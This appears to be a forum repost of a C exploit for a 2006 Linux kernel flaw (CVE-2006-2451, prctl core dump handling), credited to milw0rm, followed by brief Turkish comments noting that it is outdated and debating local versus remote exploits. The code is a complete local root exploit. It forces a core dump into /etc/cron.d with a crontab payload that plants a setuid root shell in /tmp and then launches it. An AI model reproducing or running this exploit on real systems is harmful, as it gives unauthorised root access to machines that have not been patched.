

Linux Kernel 2.6.13 <= 2.6.17.4 Sys_Prctl() Local Root Exploit
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Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl Local Root Exploit
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4
/* By: */
/* - dreyer(main PoC code) */
/* - RoMaNSoFt(local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";
int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");
corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);
printf("[*] Creating Cron entry\n");
if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}
kill(child, SIGSEGV);
printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(62);
printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}
// milw0rm.com [2006-07-11]
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hoca bu ne?
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eskidi bu artik bildigim en dandik server bile patch etmis :)
islemez... -
linux 2.6 çekirdegine sahip bir pcde root şifresini almak... tabii bunu dışardan kullanamıyorsun eh pcnin başına oturduktan sonra root şifresini almak sorun olmamalı
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local root diyor password disclosure demiyor her ikiside local pc basinda oturmadan root olabilirsin :)
local ile remote exploit e bir daha goz at istersen :))
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